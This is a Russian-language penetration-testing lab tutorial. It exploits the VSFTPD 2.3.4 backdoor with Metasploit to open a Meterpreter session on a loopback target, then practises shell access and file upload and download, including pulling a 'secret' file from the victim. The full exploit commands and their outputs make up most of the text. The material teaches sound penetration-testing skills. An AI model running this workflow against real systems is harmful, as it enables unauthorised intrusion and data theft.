Введение
В этой лабораторной работе вы изучите основы постэксплуатации с использованием фреймворка Metasploit. Сначала вы получите первоначальный доступ, эксплуатируя уязвимый FTP-сервер для создания сессии Meterpreter. Затем вы перейдете к этапу постэксплуатации. Цель этого этапа — исследование скомпрометированной системы, повышение привилегий и извлечение данных.
Вы отработаете основные команды Meterpreter для взаимодействия с сессией, выполнения команд оболочки (shell) и передачи файлов между машиной атакующего и жертвы. Эта лабораторная работа проведет вас от начального эксплойта до базовых методов постэксплуатации.
Получение первоначального доступа
На этом этапе вы получите доступ к целевой системе, эксплуатируя бэкдор в службе VSFTPD 2.3.4. Это даст вам сессию Meterpreter для дальнейшей постэксплуатации.
Сначала запустите консоль Metasploit Framework.
msfconsole -q
После запуска Metasploit выберите эксплойт для бэкдора VSFTPD 2.3.4.
use exploit/unix/ftp/vsftpd_234_backdoor
Теперь настройте параметры цели и полезной нагрузки (payload). Поскольку служба запущена на той же машине, мы используем loopback IP. Полезная нагрузка по умолчанию требует настройки LHOST и может выдать ошибку "All encoders failed to encode" — установите кодировщик, чтобы избежать этого:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
Наконец, запустите эксплойт.
exploit
УСТРАНЕНИЕ НЕПОЛАДОК: Если вы видите ошибку
Msf::OptionValidateError One or more options failed to validate: LHOST, выполнитеset LHOST 127.0.0.1. Если вы видитеAll encoders failed to encode, выполнитеset Encoder generic/none. Затем снова запуститеexploit.
ПРЕДУПРЕЖДЕНИЕ: Первая попытка может завершиться неудачей с сообщением "Unable to connect to backdoor on 6200/TCP. Cooldown?" или "Exploit completed, but no session was created." Если это произошло, просто запустите команду
exploitеще раз — вторая попытка должна быть успешной.
В случае успеха будет открыта сессия Meterpreter (сессия 1).
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Теперь у вас есть сессия Meterpreter. Чтобы вернуться к приглашению msf > для следующего шага, нажмите Ctrl+Z, а затем y, когда появится вопрос "Background session 1?".
Взаимодействие с сессией Meterpreter
Теперь, когда у вас есть сессия Meterpreter в фоновом режиме, вы узнаете, как с ней взаимодействовать. Команда sessions выводит список всех активных сессий и работает только в основном приглашении Metasploit (msf exploit(...) >), а не внутри Meterpreter.
Чтобы увидеть активные сессии, выполните:
sessions
Вы должны увидеть свою сессию Meterpreter с ID 1.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Для взаимодействия с сессией 1 выполните:
sessions -i 1
Ваше приглашение изменится на meterpreter >, что означает, что вы находитесь внутри сессии.
[*] Starting interaction with 1...
meterpreter >
Теперь вы готовы выполнять команды постэксплуатации изнутри Meterpreter.
Выполнение команд оболочки с помощью shell
Изнутри Meterpreter вы можете перейти в стандартную системную оболочку для выполнения команд на целевой машине. Это полезно, когда вам нужно запустить специфические команды оболочки или скрипты.
В приглашении meterpreter > введите:
shell
На удаленной цели откроется стандартная оболочка. Приглашение может на мгновение зависнуть, но вы уже находитесь в системной оболочке и можете выполнять команды напрямую.
Process 1654 created.
Channel 1 created.
Выполните whoami, чтобы подтвердить контекст вашего пользователя:
whoami
labex
Введите exit, чтобы вернуться в приглашение Meterpreter.
exit
Ваше приглашение снова изменится на meterpreter >. На следующем шаге вы будете использовать эту сессию для загрузки файла на целевую машину.
Загрузка файла с помощью upload /local/path /remote/path
Команда upload в Meterpreter передает файлы с вашей локальной машины на целевую. Файл с именем local_file.txt находится в /home/labex/project. Загрузите его в /tmp на удаленной машине.
В приглашении meterpreter > выполните:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
Вы увидите вывод, подтверждающий загрузку:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
В этой лабораторной работе цель запущена на той же машине, поэтому файл появится по пути /tmp/uploaded_file.txt. Далее вы отработаете обратную операцию: скачивание файла с целевой машины.
Скачивание файла с помощью download /remote/path /local/path
Команда download передает файлы с целевой машины на вашу локальную. Файл с именем secret_data.txt находится в /tmp на удаленной системе. Скачайте его в свою директорию проекта.
В приглашении meterpreter > выполните:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
Вы увидите вывод, подтверждающий скачивание. Meterpreter может создать директорию с именем downloaded_secret.txt и поместить файл внутрь нее как secret_data.txt.
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
Теперь файл находится на вашей локальной машине. На последнем шаге вы закроете сессию и проверите скачанное содержимое.
Завершение сессии с помощью команды exit
На этом последнем шаге вы закроете сессию Meterpreter и выйдете из консоли Metasploit.
В приглашении meterpreter > введите exit, чтобы закрыть сессию.
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Чтобы выйти из консоли Metasploit, введите exit. Если появится запрос об активной сессии, используйте exit -y для принудительного выхода.
exit -y
Проверьте скачанный файл. Как отмечалось ранее, Meterpreter мог создать директорию; файл находится по пути downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
Поздравляем! Вы выполнили полный рабочий процесс эксплуатации и постэксплуатации.
Резюме
В этой лабораторной работе вы изучили полный рабочий процесс от получения первоначального доступа до постэксплуатации. Вы начали с получения сессии Meterpreter через эксплойт. Вы научились выводить список сессий и взаимодействовать с ними, получать стандартную системную оболочку из Meterpreter, а также освоили передачу файлов между машиной атакующего и жертвы с помощью команд upload и download. Наконец, вы узнали, как правильно закрывать сессию и выходить из консоли Metasploit. Эти навыки являются фундаментальными для тестирования на проникновение.



